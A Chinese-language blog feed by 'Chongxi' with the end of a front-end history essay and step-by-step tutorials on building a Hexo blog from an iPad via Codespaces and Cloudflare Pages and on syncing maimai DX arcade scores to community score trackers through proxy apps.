&lt;p&gt;这是对 React 全家桶的&lt;strong&gt;反叛&lt;/strong&gt;。它标志着前端开始追求&lt;strong&gt;细粒度&lt;/strong&gt;的加载。我们不再把一头大象塞进冰箱，我们只放进去几根香蕉&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这也是我个人是非常喜欢Astro的原因之一&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;12.3 边缘计算&lt;/h3&gt;
&lt;p&gt;现在的后端，不再仅仅只是机房里的一台服务器，而是遍布全球的 Edge Functions&lt;br /&gt;
&lt;strong&gt;Vercel / Cloudflare Workers&lt;/strong&gt; 允许前端工程师写一段 JS 代码，部署到全球 200 个城市&lt;/p&gt;
&lt;p&gt;用户的请求会被路由到离他最近的节点，那里有一个微型的 V8 环境在等他&lt;br /&gt;
前端工程师的边界，已经拓展到了网络的最边缘&lt;/p&gt;
&lt;h2&gt;13. 工具链的降维打击&lt;/h2&gt;
&lt;h3&gt;13.1 Vite 闪击前端&lt;/h3&gt;
&lt;p&gt;2020 年，尤雨溪（又是他）发布了 &lt;strong&gt;Vite&lt;/strong&gt;&lt;br /&gt;
当时 Webpack 的痛点是：启动一个大项目开发服务器，需要等 30 秒甚至 1 分钟。因为 Webpack 要把所有文件打包一遍&lt;/p&gt;
&lt;p&gt;Vite：&lt;strong&gt;现在的浏览器已经支持 &lt;code&gt;import&lt;/code&gt; 了，为什么还要打包？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No-Bundle 开发&lt;/strong&gt;：Vite 启动时几乎不做事。你请求哪个文件，它就编译哪个文件。启动时间：&lt;strong&gt;300ms&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;这种体验上的巨大差异，让 Vite 像病毒一样迅速吞噬了 Webpack 的市场份额&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;13.2 Rust 与 Go 的入侵&lt;/h3&gt;
&lt;p&gt;Vite 的底层使用了 &lt;strong&gt;esbuild&lt;/strong&gt;（用 &lt;strong&gt;Go&lt;/strong&gt; 写的）&lt;br /&gt;
Next.js 的底层使用了 &lt;strong&gt;SWC / Turbopack&lt;/strong&gt;（用 &lt;strong&gt;Rust&lt;/strong&gt; 写的）&lt;/p&gt;
&lt;p&gt;前端工具链正在经历一场&lt;strong&gt;降维打击&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;以前：用 JS 写 JS 的编译器（Babel, Terser）。慢，单线程&lt;/li&gt;
&lt;li&gt;现在：用系统级语言（Rust/Go）写 JS 的编译器。快，多核并行&lt;/li&gt;
&lt;li&gt;结果构建速度提升了 10 倍到 100 倍&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这标志着前端基建的门槛被极大地拔高了。以前你会写 JS 就能造轮子，现在你得懂 Rust 和内存管理&lt;/p&gt;
&lt;h3&gt;13.3 CSS 的原子化：Tailwind CSS&lt;/h3&gt;
&lt;p&gt;在样式领域，一场审美审丑的战争结束了 &lt;strong&gt;Tailwind CSS&lt;/strong&gt; 赢了&lt;/p&gt;
&lt;p&gt;它看起来很像 1999 年的内联样式：&lt;code&gt;&amp;lt;div class=&quot;flex items-center justify-between p-4 bg-blue-500&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
很多人第一次看觉得&lt;strong&gt;丑爆了&lt;/strong&gt;&lt;br /&gt;
但用久了就感觉爆赞了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不用想类名&lt;/strong&gt;：再也不用纠结 &lt;code&gt;container-inner-wrapper&lt;/code&gt; 这种名字了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;没有死代码&lt;/strong&gt;：CSS 文件不再无限膨胀&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设计系统&lt;/strong&gt;：颜色、间距都是标准化的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;它改变了前端写样式的&lt;strong&gt;肌肉记忆&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;14. 前端已死，前端万岁&lt;/h2&gt;
&lt;h3&gt;14.1 全栈的回归&lt;/h3&gt;
&lt;p&gt;React 推出了 &lt;strong&gt;RSC&lt;/strong&gt;&lt;br /&gt;
你可以在 React 组件里直接写 SQL 查询数据库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// This runs on Server
async function UserList() {
  const users = await db.query(&apos;SELECT * FROM users&apos;);
  return &amp;lt;div&amp;gt;{users.map(u =&amp;gt; &amp;lt;p&amp;gt;{u.name}&amp;lt;/p&amp;gt;)}&amp;lt;/div&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前后端的界限彻底模糊了（但这也导致了更逆天的问题出现&lt;br /&gt;
前端工程师不再是切图仔，也不再是API 消费者&lt;br /&gt;
我们正在变成产品工程师。我们一个人就能构建一个完整的、高性能的应用&lt;/p&gt;
&lt;h3&gt;14.2 AI&lt;/h3&gt;
&lt;p&gt;23 年，ChatGPT 等各家LLM来了。
写一个居中布局？写一个正则验证？写一个复杂的 Reducer？&lt;br /&gt;
AI 一秒钟就生成&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;前端开发的门槛到底是变低了还是变高了？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;低级代码&lt;/strong&gt; 的门槛消失了。AI 会比你写得快，被AI取代的人也是这些&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统架构&lt;/strong&gt; 的门槛变高了。你需要懂 SSR、Hydration、Database、Security等乱七八糟的东西，才能指挥 AI 把它拼成一个好的产品&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.3 下一个三十年&lt;/h3&gt;
&lt;p&gt;回顾这三十年：&lt;br /&gt;
从 1990 年的 &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; 布局，到 2025 年的 Rust 编译器驱动的 Edge SSR&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们曾为了&lt;strong&gt;动&lt;/strong&gt;，把一切搬到浏览器&lt;/li&gt;
&lt;li&gt;我们现在为了&lt;strong&gt;快&lt;/strong&gt;，把一切搬回服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;历史不是简单的圆圈，而是螺旋上升的塔&lt;/strong&gt;&lt;br /&gt;
我们回到了服务器，但我们带回了组件化、声明式编程和极致的工程化体系&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web 依然年轻&lt;/strong&gt;&lt;br /&gt;
只要人类还需要通过屏幕与数字世界交互，前端工程师的使命就永远不会结束&lt;/p&gt;
&lt;h2&gt;15. 结&lt;/h2&gt;
&lt;p&gt;至此，我们过了一遍属于前端的三国演义&lt;br /&gt;
我们从从蒂姆·伯纳斯-李的草稿纸开始，一直讲到现在&lt;br /&gt;
这就是无数开发者与浏览器搏斗、妥协、并最终驯服它的过程&lt;/p&gt;
&lt;p&gt;同时我们也明白了&lt;br /&gt;
为什么要学这么多乱七八糟的工具？&lt;br /&gt;
因为我们是在一堆原本用来擦屁股的纸上，通过几十年的叠Buff，硬生生盖出了一座摩天大楼&lt;/p&gt;
</content:encoded><category>web</category><category>前端</category><author>Chongxi</author></item><item><title>仅使用iPad从0搭建hexo个人blog建站</title><link>https://xice.cx/posts/hexoInCodespace/</link><guid isPermaLink="true">https://xice.cx/posts/hexoInCodespace/</guid><description>本文将从第一视角手把手教你只使用iPad和GitHub Codespace从0搭建Hexo blog</description><pubDate>Mon, 02 Feb 2026 16:13:21 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;得益于web技术的发展，让移动设备也能和生产力扯上关系了，本文会向您演示如何只使用iPad在codespaces上从0搭建Hexo blog&lt;/p&gt;
&lt;h3&gt;0.1 准备食材&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一台有良好网络环境的iPad&lt;/li&gt;
&lt;li&gt;GitHub账号&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.2 什么是codespace&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/features/codespaces&quot;&gt;GitHub Codespaces&lt;/a&gt; 是GitHub提供的一种基于云的开发环境，允许您直接在浏览器中使用完整的vsc体验，无需在本地安装任何开发工具。这意味着我们可以在任意联网且可使用浏览器的环境中完成开发工作，不依赖本地物理设备，非常适合iPad等移动设备使用&lt;/p&gt;
&lt;h2&gt;1. 基本工作&lt;/h2&gt;
&lt;h3&gt;1.1 在GitHub登录并创建repo&lt;/h3&gt;
&lt;p&gt;打开&lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt;，登录您的账号，点击右上角的+，选择&lt;strong&gt;New repository&lt;/strong&gt;，填写仓库名称（例如：hexo-blog），类型建议选私密repo，勾选&lt;strong&gt;add a README file&lt;/strong&gt;，点击&lt;strong&gt;Create repository&lt;/strong&gt;完成创建。&lt;/p&gt;
&lt;h3&gt;1.2 创建Codespace&lt;/h3&gt;
&lt;p&gt;在刚创建的repo页面，点击&lt;strong&gt;Code&lt;/strong&gt;按钮，选择&lt;strong&gt;Codespaces&lt;/strong&gt;选项卡，点击&lt;strong&gt;Create codespace on main&lt;/strong&gt;，等待codespace创建完成。随后会在浏览器中打开VSCode，在此页面我们可以进行blog搭建工作。&lt;/p&gt;
&lt;h3&gt;1.3 安装Hexo&lt;/h3&gt;
&lt;p&gt;在codespace的终端中，输入以下命令安装pnpm：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -g pnpm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2742.png&quot; alt=&quot;安装pnpm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后安装Hexo：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm install hexo-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 初始化Hexo&lt;/h3&gt;
&lt;p&gt;在终端中，输入以下命令初始化Hexo：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm dlx hexo init tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于hexo是在子目录tmp中创建的，我们需要进入该目录，将初始化产物迁移出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd tmp
mv * .[^.]* ..
cd ..
rm -rf tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样tmp的临时目录就成功迁移出来了&lt;/p&gt;
&lt;p&gt;pnpm默认不允许脚本，我们需要使用以下命令允许构建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm approve-builds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2744.png&quot; alt=&quot;允许pnpm构建脚本&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入后，会出现命令行选项，我们输入&lt;strong&gt;a&lt;/strong&gt;，再输入&lt;strong&gt;y&lt;/strong&gt;并回车，允许所有脚本构建，会自动完成其余构建&lt;/p&gt;
&lt;h3&gt;1.5 启动hexo&lt;/h3&gt;
&lt;p&gt;在终端中，输入以下命令启动hexo：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm hexo s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后会自动启动开发服务器，我们点击&lt;strong&gt;在浏览器中打开&lt;/strong&gt;，即可在新标签页中预览hexo blog，按ctrl+c可以停止服务器
&lt;img src=&quot;./asset/IMG_2745.png&quot; alt=&quot;启动hexo开发服务器&quot; /&gt;
&lt;img src=&quot;./asset/IMG_2746.png&quot; alt=&quot;预览hexo blog&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1.6 进行初次commit&lt;/h3&gt;
&lt;p&gt;打开终端，输入以下命令进行初次commit：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add .
git commit -m &quot;Initial commit&quot;  
git push -u origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2747.png&quot; alt=&quot;初次commit&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后的提交也可以通过左侧的Source Control图标进行推送&lt;/p&gt;
&lt;p&gt;:::tip
为什么要提交commit？&lt;br /&gt;
在codespaces中，约等于一个临时环境，commit的操作就像您点了一次保存，同时该保存会记录在git历史中，随时可以查看/回滚
:::&lt;/p&gt;
&lt;h2&gt;2. 使用hexo&lt;/h2&gt;
&lt;h3&gt;2.1 创建新的blog文章&lt;/h3&gt;
&lt;p&gt;在终端中，输入以下命令创建新的blog文章：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm hexo new &quot;文章标题&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后会在&lt;code&gt;source/_posts&lt;/code&gt;目录下生成一个新的markdown文件，打开此文件编辑即可&lt;/p&gt;
&lt;h3&gt;2.2 更换主题&lt;/h3&gt;
&lt;p&gt;您可以在hexo的&lt;a href=&quot;https://hexo.io/themes/&quot;&gt;主题库&lt;/a&gt;中选择喜欢的主题，按照主题的安装说明进行安装和配置，这里以hexo redefine主题为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git submodule add https://github.com/EvanNotFound/hexo-theme-redefine themes/redefine
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后打开&lt;code&gt;_config.yml&lt;/code&gt;，找到&lt;code&gt;theme&lt;/code&gt;字段，修改为&lt;code&gt;redefine&lt;/code&gt;，保存即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2749.png&quot; alt=&quot;安装redefine主题&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.3 配置&lt;/h3&gt;
&lt;p&gt;打开&lt;code&gt;_config.yml&lt;/code&gt;， 这里可以定义最基本的信息，如站点标题、描述、作者信息等，您可以根据需要进行修改，主题配置一般需要额外配置，请参考您使用的主题的README进行配置&lt;/p&gt;
&lt;h2&gt;3. 部署到cloudflare pages&lt;/h2&gt;
&lt;p&gt;为什么选择cloudflare？&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt; 是一家提供网络安全和内容分发网络（CDN）服务的公司。它的主要功能包括保护网站免受DDoS攻击、加速网站加载速度、提供SSL证书以及优化网站性能。Cloudflare通过其全球分布的服务器网络，能够有效地缓存和分发内容，从而提高用户访问网站的速度和安全性。&lt;/p&gt;
&lt;p&gt;而cloudflare pape则是cloudflare提供的静态网站托管服务，支持直接从GitHub仓库部署，并发布到全球cdn，无需付费，非常适合个人blog使用
&lt;img src=&quot;./asset/IMG_2751.png&quot; alt=&quot;cloudflare&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3.1 登录cloudflare dashboard&lt;/h3&gt;
&lt;p&gt;打开&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare Dashboard&lt;/a&gt;，登录账号，打开左侧面板，点击&lt;strong&gt;计算和AI&lt;/strong&gt;，点击创建新的应用程序，选择从git仓库部署，选择刚才创建的hexo-blog仓库即可&lt;/p&gt;
&lt;h3&gt;3.2 构建配置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;框架预设：（留空）&lt;/li&gt;
&lt;li&gt;构建命令：&lt;code&gt;pnpm hexo generate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;输出目录：&lt;code&gt;public&lt;/code&gt;
&lt;img src=&quot;./asset/IMG_2752.png&quot; alt=&quot;cloudflare pages配置&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;点击&lt;strong&gt;保存并部署站点&lt;/strong&gt;，稍等片刻即可完成部署
&lt;img src=&quot;./asset/IMG_2753.png&quot; alt=&quot;cloudflare pages部署&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3.3 访问站点&lt;/h3&gt;
&lt;p&gt;cloudflare默认会给出一个 dev域名访问，您也可以CNAME绑定自己的域名
&lt;img src=&quot;./asset/IMG_2754.png&quot; alt=&quot;cloudflare pages访问&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;4. 结&lt;/h2&gt;
&lt;p&gt;至此，我们只使用iPad完成了hexo blog的搭建，不得不说，codespace确实为移动生产力提供了出路。希望本文能帮助到您，顺便也给后续文章挖坑，如果想看，以后可以出一个专门讲各种blog框架的纵向对比&lt;/p&gt;
</content:encoded><category>Hexo</category><category>web</category><category>blog</category><author>Chongxi</author></item><item><title>bakapiano查分器使用教程(maimai score hub)</title><link>https://xice.cx/posts/bakapiano/</link><guid isPermaLink="true">https://xice.cx/posts/bakapiano/</guid><description>maimai Score Hub是GitHub@bakapiano提供的一个网页版查分器，和大多数通过代理或科技sync分数不同，此查分器使用maimai的好友功能拉取成绩，目前来看也许是非侵入性sync导入最方便的，同时此查分器也支持水鱼/落雪的导入</description><pubDate>Wed, 28 Jan 2026 00:04:01 GMT</pubDate><content:encoded>&lt;img src=&quot;https://xice.cx/asset/1.jpg&quot; alt=&quot;bakapiano查分器使用教程(maimai score hub)&quot; style=&quot;border-radius: 1rem; margin-bottom: 1rem; max-width: 100%; height: auto;&quot; /&gt;&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://maimai.bakapiano.com/app&quot;&gt;maimai Score Hub&lt;/a&gt;是&lt;strong&gt;GitHub@bakapiano&lt;/strong&gt;提供的一个网页版查分器，和大多数通过代理或科技sync分数不同，此查分器使用maimai的好友功能拉取成绩，目前来看也许是非侵入性sync导入最方便的，同时此查分器也支持水鱼/落雪的导入&lt;/p&gt;
&lt;p&gt;官网链接&lt;a href=&quot;https://maimai.bakapiano.com/app&quot;&gt;maimai Score Hub&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;1. 使用教程&lt;/h2&gt;
&lt;h3&gt;1.1 注册&lt;/h3&gt;
&lt;p&gt;此查分器使用好友代码注册&lt;/p&gt;
&lt;p&gt;打开 &lt;em&gt;舞萌|中二&lt;/em&gt; 微信公众号，打开maimaiNET，点击&lt;strong&gt;好友&lt;/strong&gt;，&lt;strong&gt;你的好友代码&lt;/strong&gt;，复制这串数字即可并粘贴至查分器登录即可。网页会要求你同意好友请求，在公众号中同意即可&lt;/p&gt;
&lt;h3&gt;1.2 导入分数&lt;/h3&gt;
&lt;p&gt;只需要点击查分器主页的&lt;strong&gt;更新数据&lt;/strong&gt;并在公众号中同意好友请求即可&lt;/p&gt;
&lt;h3&gt;1.3 同步至水鱼查分器&lt;/h3&gt;
&lt;p&gt;打开&lt;a href=&quot;https://www.diving-fish.com/maimaidx/prober/&quot;&gt;水鱼查分器&lt;/a&gt;，点击&lt;strong&gt;编辑个人资料&lt;/strong&gt;，复制&lt;strong&gt;成绩导入token&lt;/strong&gt;粘贴至&lt;strong&gt;maimai Score Hub&lt;/strong&gt;的水鱼token一栏，点击更新即可&lt;/p&gt;
&lt;h3&gt;1.4 同步至落雪查分器&lt;/h3&gt;
&lt;p&gt;打开&lt;a href=&quot;https://maimai.lxns.net/user/profile?tab=thirdparty&quot;&gt;落雪咖啡屋&lt;/a&gt;，点击下方的&lt;strong&gt;复制个人API密钥&lt;/strong&gt;，填写到&lt;strong&gt;maimai Score Hub&lt;/strong&gt;的落雪token一栏，点击更新即可&lt;/p&gt;
&lt;p&gt;:::tip
落雪查分器需要在&lt;strong&gt;账号设置&lt;/strong&gt;中开启&lt;strong&gt;允许写入任何数据&lt;/strong&gt;才可同步
:::&lt;/p&gt;
&lt;h3&gt;1.5 成绩查询&lt;/h3&gt;
&lt;p&gt;在侧边栏打开&lt;strong&gt;乐曲成绩&lt;/strong&gt;即可&lt;/p&gt;
&lt;h2&gt;2. 附&lt;/h2&gt;
&lt;p&gt;如果您有更多简单且不需要登录帐号的查分方案，欢迎提供，本blog会补充更新&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>本站已入驻爱发电平台</title><link>https://xice.cx/posts/afd/</link><guid isPermaLink="true">https://xice.cx/posts/afd/</guid><description>爱发电入驻</description><pubDate>Mon, 26 Jan 2026 21:48:22 GMT</pubDate><content:encoded>&lt;h2&gt;爱发电主页&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://afdian.com/a/CEPATO&quot;&gt;CEPATO&lt;/a&gt;
&lt;img src=&quot;./asset/1.jpg&quot; alt=&quot;CEPATO&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Others</category><author>Chongxi</author></item><item><title>舞萌DX水鱼查分/落雪查分成绩上传同步教程</title><link>https://xice.cx/posts/maiTool260124/</link><guid isPermaLink="true">https://xice.cx/posts/maiTool260124/</guid><description>本文介绍了新版本舞萌DX分数上传至水鱼查分器/落雪查分器的详细方法</description><pubDate>Sat, 24 Jan 2026 23:31:12 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;由于舞萌DX 1.53版本更新推送更改了大量接口校验，很多已有的同步实现失效，而把二维码交给别人同步并不算特别安全，故有了此篇文章&lt;/p&gt;
&lt;p&gt;相关内容:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://xice.cx/posts/2026/01/06/153/&quot;&gt;舞萌国服1.53补丁更新内容速览&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xice.cx/posts/2025/12/19/backup/&quot;&gt;如何使用水鱼/落雪查分器备份舞萌DX成绩&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/posts/2026/01/28/bakapiano/&quot;&gt;bakapiano查分器使用教程&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;目录&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./posts/2026/01/24/maiTool260124/#1-%E6%B0%B4%E9%B1%BC%E6%9F%A5%E5%88%86%E5%99%A8&quot;&gt;水鱼查分器&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./posts/2026/01/24/maiTool260124/#2-%E8%90%BD%E9%9B%AA%E6%9F%A5%E5%88%86%E5%99%A8&quot;&gt;落雪查分器&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. 水鱼查分器&lt;/h2&gt;
&lt;p&gt;水鱼查分器相比落雪要略麻烦些(不提供二维码的情况下)&lt;/p&gt;
&lt;p&gt;前置前提:水鱼账号&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.diving-fish.com/&quot;&gt;水鱼查分器官网&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.1 Windows/MacOS 代理同步&lt;/h3&gt;
&lt;p&gt;参考水鱼的官方doc：&lt;a href=&quot;https://www.diving-fish.com/maimaidx/docs/docs/update-records/proxy&quot;&gt;代理软件导入&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.2 iOS/iPad 代理同步&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;确保已安装 Shadowrocket App
:::warning
该软件需要外区Apple ID购买/下载，推荐使用共享账号登录AppStore(&lt;strong&gt;不是iCloud!!!否则会锁机子!!!&lt;/strong&gt;)并下载，这里给出一个&lt;a href=&quot;https://id.bocchi2b.top/&quot;&gt;账号共享网站&lt;/a&gt;，&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;该网站不属于CEPATO &amp;amp; Chongxi名下，我们不对此网站的内容负责，您也可以在底部的评论区提供其他共享账号&lt;/em&gt;
:::
2. 打开Shadowrocket，选中&lt;code&gt;配置&lt;/code&gt;，按下图步骤进行证书安装&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/1.jpg&quot; alt=&quot;install1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/2.jpg&quot; alt=&quot;install2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/3.jpg&quot; alt=&quot;install3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/4.jpg&quot; alt=&quot;install4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/5.jpg&quot; alt=&quot;install5&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开设置，按步骤信任证书&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/6.jpg&quot; alt=&quot;install6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/7.jpg&quot; alt=&quot;install7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/9.jpg&quot; alt=&quot;install9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/10.jpg&quot; alt=&quot;install10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/11.jpg&quot; alt=&quot;install11&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开水鱼查分器官网，点击&lt;strong&gt;火箭&lt;/strong&gt;图标，复制模块URL，按下图步骤导入&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/12.jpg&quot; alt=&quot;mo1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/13.jpg&quot; alt=&quot;mo2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/14.jpg&quot; alt=&quot;mp3&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动代理&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/15.jpg&quot; alt=&quot;mo4&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开舞萌NET公众号，按箭头顺序依次加载乐曲即可完成同步&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/16.jpg&quot; alt=&quot;mo5&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1.3 使用union从落雪sync到水鱼&lt;/h3&gt;
&lt;p&gt;比较抽象的一个方案，也算是曲线救国了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;同时拥有水鱼/落雪账号，且落雪账号已同步&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;登录&lt;a href=&quot;https://union.godserver.cn/&quot;&gt;union&lt;/a&gt;站点&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在右上角菜单中选中&lt;code&gt;用户&lt;/code&gt;选项，填入&lt;strong&gt;落雪查分器token&lt;/strong&gt;和&lt;strong&gt;水鱼账号&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;落雪查分器密钥可以在&lt;code&gt;账号详情&lt;/code&gt;，&lt;code&gt;个人API密钥&lt;/code&gt;中获取&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/17.jpg&quot; alt=&quot;union1&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;右上角菜单中选择&lt;code&gt;工具&lt;/code&gt;选项，点击&lt;strong&gt;更新成绩&lt;/strong&gt;，选择&lt;strong&gt;落雪传水鱼&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/18.jpg&quot; alt=&quot;union2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;既然这样为什么不用落雪呢&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;1.4 使用科技功能的bot上传&lt;/h3&gt;
&lt;p&gt;此方式需要提供&lt;strong&gt;SGWCMAID&lt;/strong&gt;，也就是你的二维码，不推荐，&lt;strong&gt;自1.53更新后二维码就是唯一凭证，凡是要求二维码的功能均有风险&lt;/strong&gt;，本文不会给出相关途径，自行选择您认为可靠的科技工具上传&lt;/p&gt;
&lt;h2&gt;2. 落雪查分器&lt;/h2&gt;
&lt;p&gt;落雪相对简单的多，只需要配置代理即可&lt;/p&gt;
&lt;p&gt;确保你有一个落雪账号&lt;/p&gt;
&lt;h3&gt;2.1 使用落雪提供的代理同步&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;登录&lt;a href=&quot;https://maimai.lxns.net/&quot;&gt;落雪查分器官网&lt;/a&gt;，点击左上角菜单，选中&lt;code&gt;同步游戏数据&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;您可以手动在系统设置的WLAN设定中设置HTTP代理，这里主要演示使用代理工具配置&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip[Android]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装Clash Meta，您可以在&lt;a href=&quot;https://atlas.chongxi.us/@s/WPbGnWBS&quot;&gt;Atlas Storage&lt;/a&gt;下载安装程序或&lt;a href=&quot;https://github.com/MetaCubeX/ClashMetaForAndroid/releases&quot;&gt;GitHub Repo&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;复制&lt;code&gt;https://maimai.lxns.net/api/v0/proxy-config/clash&lt;/code&gt;，打开clash meta，点击&lt;strong&gt;配置文件&lt;/strong&gt;按钮，如图所示添加代理配置&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./asset/19.jpg&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/20.jpg&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
